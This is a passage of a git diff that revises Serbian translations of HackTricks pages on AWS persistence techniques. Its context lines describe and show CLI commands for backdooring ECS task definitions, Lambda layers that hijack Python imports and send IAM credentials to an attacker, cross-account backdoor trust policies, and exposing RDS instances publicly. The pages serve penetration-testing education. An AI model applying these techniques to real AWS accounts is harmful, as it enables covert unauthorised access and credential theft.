ključ** (proverite [EC2 privesc opcije](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Zadnjim ulazom u **Korisničke podatke** +- Backdoor-ovanje **Korisničkih podataka** -### **Konfiguracija pokretanja sa zadnjim ulazom** +### **Backdoor Konfiguracija pokretanja** -- Zadnji ulaz u korišćeni AMI -- Zadnji ulaz u Korisničke podatke -- Zadnji ulaz u Par ključeva +- Backdoor-ovati korišćeni AMI +- Backdoor-ovati Korisničke podatke +- Backdoor-ovati Par ključeva ### VPN -Kreirajte VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om. +Kreirati VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om. ### VPC Peering -Kreirajte peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve. +Kreirati peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 949ab1743..63738d7e8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -43,13 +43,13 @@ aws ecr set-repository-policy \ > [!WARNING] > Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma. -### Politika registracije i replikacija između naloga +### Politika registra i replikacija između naloga -Moguće je automatski replicirati registar u eksternom nalogu konfigurišući replikaciju između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar. +Moguće je automatski replicirati registar u eksternom nalogu konfigurisanjem replikacije između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.
-Prvo, treba da date eksternom nalogu pristup nad registrijem sa **politikom registracije** kao: +Prvo, treba da date eksternom nalogu pristup registru putem **politike registra** kao što je: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 9e5f1a4fe..d61514218 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECS Persistence +# AWS - ECS Persistencija {{#include ../../../banners/hacktricks-training.md}} @@ -15,7 +15,7 @@ Za više informacija pogledajte: > [!NOTE] > TODO: Test -Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati postojanost u AWS nalogu. +Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati persistenciju u AWS nalogu. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ @@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### Backdoor Container in Existing ECS Task Definition +### Backdoor kontejner u postojećoj ECS definiciji zadatka > [!NOTE] > TODO: Test -Napadač može dodati **neprimetan backdoor kontejner** u postojeću ECS definiciju zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za postojanost i izvođenje zlonamernih aktivnosti. +Napadač može dodati **neprimetan backdoor kontejner** u postojećoj ECS definiciji zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za persistenciju i izvođenje zlonamernih aktivnosti. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition > [!NOTE] > TODO: Test -Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zloćudni zadatak. Postavljanjem željenog broja zadataka na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zloćudnu uslugu. +Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zlonamernu radnju. Postavljanjem željenog broja radnji na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zlonamernu uslugu. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index 7ff1b45ac..0575e2055 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -16,6 +16,6 @@ Izmenom **politike resursa i/ili sigurnosnih grupa** možete pokušati da zadrž ### Kreirajte Pristupnu Tačku -Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistenciju** da zadržite privilegovan pristup fajl sistemu. +Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistencu** da zadržite privilegovan pristup fajl sistemu. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 88844d798..7513eeb7e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -12,17 +12,17 @@ Za više informacija pogledajte: ### Održavanje u Instanci -Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**. +Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da mu pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**. -### Bekdor u Verziji +### Backdoor u Verziji -Napadač bi mogao da ubaci bekdor u kod unutar S3 repozitorijuma tako da se uvek izvršava njegov bekdor i očekivani kod. +Napadač bi mogao da ubaci backdoor u kod unutar S3 repozitorijuma tako da uvek izvršava svoj backdoor i očekivani kod. -### Nova verzija sa bekdorom +### Nova verzija sa backdoor-om -Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa bekdorom. +Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa backdoor-om. -### Zloupotreba Prilagođenih Resursa Lifecycle Hooks +### Zloupotreba Prilagođenih Resursnih Lifecycle Hooks > [!NOTE] > TODO: Test diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index d12ca7ca9..7e4abfe78 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -1,4 +1,4 @@ -# AWS - IAM Persistence +# AWS - IAM Persistencija {{#include ../../../banners/hacktricks-training.md}} @@ -21,7 +21,7 @@ Za više informacija pristupite: ### Politike poverenja za backdoor uloge -Možete napraviti backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve): +Možete dodati backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve): ```json { "Version": "2012-10-17", @@ -36,11 +36,11 @@ Možete napraviti backdoor u politiku poverenja kako biste mogli da je preuzmete ] } ``` -### Backdoor Policy Version +### Politika zadnjih vrata -Dajte Administrator dozvole politici koja nije u njenoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi. +Dajte Administrator dozvole politici koja nije njena poslednja verzija (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi. -### Backdoor / Create Identity Provider +### Zadnja vrata / Kreiraj provajdera identiteta Ako nalog već veruje u zajedničkog provajdera identiteta (kao što je Github), uslovi poverenja mogu biti pojačani kako bi napadač mogao da ih zloupotrebi. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 75396f010..f7ae9a0cc 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,7 +4,7 @@ ## KMS -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,13 +12,13 @@ Za više informacija pogledajte: ### Dodeljivanje pristupa putem KMS politika -Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija. +Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Proverite [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija. ### Večna Dodela Dodele su još jedan način da se principalu daju neka ovlašćenja nad specifičnim ključem. Moguće je dodeliti dodelu koja omogućava korisniku da kreira dodele. Štaviše, korisnik može imati nekoliko dodela (čak i identičnih) nad istim ključem. -Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10. +Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10. (Koristimo 10, a ne 2, da bismo mogli da detektujemo da je dodela uklonjena dok korisnik još uvek ima neku dodelu) ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 5a68d0add..3d833c9aa 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### Lambda Layer Persistence -Moguće je **uvesti/otvoriti backdoor u layer da izvrši proizvoljan kod** kada se lambda izvršava na diskretan način: +Moguće je **uvesti/otvoriti backdoor u layer za izvršavanje proizvoljnog koda** kada se lambda izvršava na diskretan način: {{#ref}} aws-lambda-layers-persistence.md @@ -26,35 +26,35 @@ Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persist aws-abusing-lambda-extensions.md {{#endref}} -### Putem politika resursa +### Via resource policies -Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim nalozima: +Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim računima:
-### Verzije, Alias-i & Težine +### Versions, Aliases & Weights Lambda može imati **različite verzije** (sa različitim kodom za svaku verziju).\ Zatim, možete kreirati **različite alias-e sa različitim verzijama** lambde i postaviti različite težine za svaku.\ -Na ovaj način napadač bi mogao kreirati **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršavati verziju 1 u 1%** zahteva da ostane diskretan. +Na ovaj način napadač bi mogao da kreira **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršava samo verziju 1 u 1%** zahteva kako bi ostao diskretan.
-### Verzija Backdoor + API Gateway +### Version Backdoor + API Gateway 1. Kopirajte originalni kod Lambde -2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa malicioznim kodom). Objavite i **implementirajte tu verziju** na $LATEST +2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa zlonamernim kodom). Objavite i **implementirajte tu verziju** na $LATEST 1. Pozovite API gateway povezan sa lambdom da izvrši kod 3. **Kreirajte novu verziju sa originalnim kodom**, objavite i implementirajte tu **verziju** na $LATEST. 1. Ovo će sakriti backdoored kod u prethodnoj verziji 4. Idite na API Gateway i **kreirajte novu POST metodu** (ili izaberite bilo koju drugu metodu) koja će izvršiti backdoored verziju lambde: `arn:aws:lambda:us-east-1::function::1` -1. Obratite pažnju na završni :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju). +1. Imajte na umu konačno :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju). 5. Izaberite kreiranu POST metodu i u Akcijama izaberite **`Deploy API`** -6. Sada, kada **pozovete funkciju putem POST-a vaš Backdoor** će biti aktiviran +6. Sada, kada **pozovete funkciju putem POST-a, vaš Backdoor** će biti aktiviran ### Cron/Event actuator -Činjenica da možete **izvršavati lambda funkcije kada se nešto desi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\ +Činjenica da možete **pokrenuti lambda funkcije kada se nešto dogodi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\ Evo nekoliko ideja kako da učinite svoju **prisutnost u AWS-u diskretnijom kreiranjem lambdi**. - Svaki put kada se kreira novi korisnik, lambda generiše novi korisnički ključ i šalje ga napadaču. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 3a2591d0d..5f1c486f1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,8 +1,8 @@ -# AWS - Abusing Lambda Extensions +# AWS - Zloupotreba Lambda Ekstenzija {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Lambda Ekstenzije Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, bezbednost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije kontejnerskih slika](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**. @@ -11,11 +11,11 @@ Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za pra Za više informacija o [**kako lambda ekstenzije funkcionišu proverite dokumentaciju**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### Eksterni Ekstenzija za Održavanje, Krađu Zahteva & Modifikovanje Zahteva +### Eksterni Ekstenzija za Održavanje, Krađu Zahteva i Modifikaciju Zahteva Ovo je sažetak tehnike predložene u ovom postu: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima potpuni pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.** +Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima pun pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.** Štaviše, dok Lambda ekstenzije imaju mogućnost da **pretplate na događaje invokacije**, AWS ne otkriva sirove podatke ovim ekstenzijama. Ovo osigurava da **ekstenzije ne mogu pristupiti osetljivim informacijama** koje se prenose putem HTTP zahteva. @@ -28,13 +28,13 @@ Promenljiva **`AWS_LAMBDA_RUNTIME_API`** označava **IP** adresu i **broj** port > [!WARNING] > Promenom **`AWS_LAMBDA_RUNTIME_API`** promenljive okruženja na **`port`** kojem imamo pristup, moguće je presresti sve akcije unutar Lambda izvršavanja (**man-in-the-middle**). Ovo je moguće jer ekstenzija radi sa istim privilegijama kao Rapid Init, a kernel sistema omogućava **modifikaciju memorije procesa**, omogućavajući promenu broja porta. -Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikovanje promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja. +Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikacija promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

Alat [**lambda-spy**](https://github.com/clearvector/lambda-spy) je kreiran da izvrši tu **memorijsku pisanje** i **ukrade osetljive informacije** iz lambda zahteva, drugih **ekstenzija** **zahteva** i čak **modifikuje ih**. -## References +## Reference - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index e4254c8fe..856cbda79 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,13 +4,13 @@ ## Lambda Layers -Lambda layer je .zip datoteka koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke. +Lambda layer je .zip arhiva koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke. -Moguće je uključiti do **pet layera po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstraktuje u `/opt`** direktorijum u okruženju izvršavanja. +Moguće je uključiti do **pet layer-a po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstrakuje u `/opt`** direktorijum u okruženju izvršavanja. -Po **defaultu**, **layeri** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layera nakon što je obrisana, ili nakon što je vaša dozvola za pristup layeru opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layera. +Po **default-u**, **layer-i** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layer-a nakon što je obrisana, ili nakon što je vaša dozvola za pristup layer-u opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layer-a. -Funkcije koje su implementirane kao slika kontejnera ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u sliku kontejnera kada gradite sliku. +Funkcije koje su implementirane kao kontejnerska slika ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u kontejnersku sliku kada gradite sliku. ### Python load path @@ -32,7 +32,7 @@ Stoga, zahtevi su: > [!WARNING] > Kada se zloupotrebljava ova tehnika, naišao sam na poteškoću: Neke biblioteke su **već učitane** u python runtime kada se vaš kod izvršava. Očekivao sam da pronađem stvari poput `os` ili `sys`, ali **čak je i `json` biblioteka bila učitana**.\ -> Da bi se zloupotrebila ova tehnika postojanosti, kod treba da **učita novu biblioteku koja nije učitana** kada se kod izvršava. +> Da bi se zloupotrebila ova tehnika postojanosti, kod mora da **učita novu biblioteku koja nije učitana** kada se kod izvršava. Sa python kodom poput ovog moguće je dobiti **listu biblioteka koje su unapred učitane** unutar python runtime-a u lambda: ```python @@ -54,9 +54,9 @@ I ovo je lista **biblioteka** koje **lambda uključuje instalirane po defaultu** U ovom primeru pretpostavimo da ciljani kod uvozi **`csv`**. Mi ćemo **napraviti backdoor za uvoz `csv` biblioteke**. -Da bismo to uradili, kreiraćemo **direktorijum csv** sa fajlom **`__init__.py`** u njemu na putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Zatim, kada se lambda izvrši i pokuša da učita **csv**, naš **`__init__.py` fajl će biti učitan i izvršen**.\ -Ovaj fajl mora: +Da bismo to uradili, kreiraćemo direktorijum csv sa datotekom **`__init__.py`** u putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Zatim, kada se lambda izvrši i pokuša da učita **csv**, naša **`__init__.py` datoteka će biti učitana i izvršena**.\ +Ova datoteka mora: - Izvršiti naš payload - Učitati originalnu csv biblioteku @@ -85,7 +85,7 @@ sys.modules["csv"] = _csv ``` Zatim, kreirajte zip sa ovim kodom na putanji **`python/lib/python3.9/site-packages/__init__.py`** i dodajte ga kao lambda layer. -Ovaj kod možete pronaći na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) +Možete pronaći ovaj kod na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se pozove ili NAKON resetovanja lambda kontejnera** (promena koda ili hladna lambda), ali **druge tehnike** kao što su sledeće takođe mogu biti integrisane: @@ -93,17 +93,17 @@ Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se po ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### Eksterni Layeri +### Spoljni Layers -Napomena da je moguće koristiti **lambda layer-e iz eksternih naloga**. Štaviše, lambda može koristiti layer iz eksternog naloga čak i ako nema dozvole.\ -Takođe, napomena da je **maksimalan broj layer-a koje lambda može imati 5**. +Napomena da je moguće koristiti **lambda layers iz spoljnih naloga**. Štaviše, lambda može koristiti layer iz spoljnog naloga čak i ako nema dozvole.\ +Takođe, napomena da je **maksimalan broj layers koje lambda može imati 5**. Stoga, kako bi poboljšao svestranost ove tehnike, napadač bi mogao: -- Backdoor-ovati postojeći layer korisnika (ništa nije eksterno) +- Backdoor-ovati postojeći layer korisnika (ništa nije spoljno) - **Kreirati** **layer** u **svojim nalogu**, dati **nalogu žrtve pristup** da koristi layer, **konfigurisati** **layer** u Lambda žrtve i **ukloniti dozvolu**. -- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layer-a** (osim ako ne dobije rev shell unutar lambda) -- Žrtva **neće videti eksterne layer-e** korišćene sa **`aws lambda list-layers`** +- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layers-a** (osim ako ne dobije rev shell unutar lambda) +- Žrtva **neće videti spoljne layers** korišćene sa **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 21e62d742..43df69da6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,7 +4,7 @@ ## Lightsail -Za više informacija proverite: +Za više informacija pogledajte: {{#ref}} ../aws-services/aws-lightsail-enum.md @@ -12,7 +12,7 @@ Za više informacija proverite: ### Preuzmite SSH ključeve instance i lozinke za DB -Verovatno se neće promeniti, tako da ih imati je dobra opcija za postojanost +Verovatno se neće menjati, tako da ih imati je dobra opcija za postojanost ### Backdoor instance diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 5643fbe36..3643de852 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -12,13 +12,13 @@ Za više informacija pogledajte: ### Omogućite javni pristup instanci: `rds:ModifyDBInstance` -Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu kako bi omogućio javni pristup**. +Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu da omogući javni pristup**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` ### Kreirajte admin korisnika unutar DB -Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika promeni, on **ne gubi pristup** bazi podataka. +Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika izmeni, on **ne gubi pristup** bazi podataka. ### Učinite snimak javnim ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index e197d2916..89306fb49 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -1,4 +1,4 @@ -# AWS - S3 Persistence +# AWS - S3 Persistencija {{#include ../../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ Kada je proces enkripcije završen, korisnik će koristiti KMS API da generiše
-Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi. +Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje ga sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi. ### Korišćenje S3 ACL-a diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 02c9062ab..796805b27 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -14,7 +14,7 @@ Za više informacija pogledajte: Moguće je **dodeliti pristup tajnama spoljnim nalozima** putem politika resursa. Pogledajte [**stranicu o Privesc-u za Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) za više informacija. Imajte na umu da da bi **pristupio tajni**, spoljni nalog će takođe **morati da ima pristup KMS ključu koji enkriptuje tajnu**. -### Putem Lambda funkcije za rotaciju tajni +### Putem Lambda rotacije tajni Da bi se **automatski rotirale tajne**, poziva se konfigurisana **Lambda**. Ako bi napadač mogao da **izmeni** **kod**, mogao bi direktno da **izvuče novu tajnu** za sebe. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8f8875482..880043459 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -12,8 +12,8 @@ Za više informacija pogledajte: ### Persistence -Kada kreirate **SNS temu**, potrebno je da navedete IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\ -Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temu pod nazivom **`MySNS.fifo`**: +Kada kreirate **SNS temu**, potrebno je da naznačite sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\ +Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temi pod nazivom 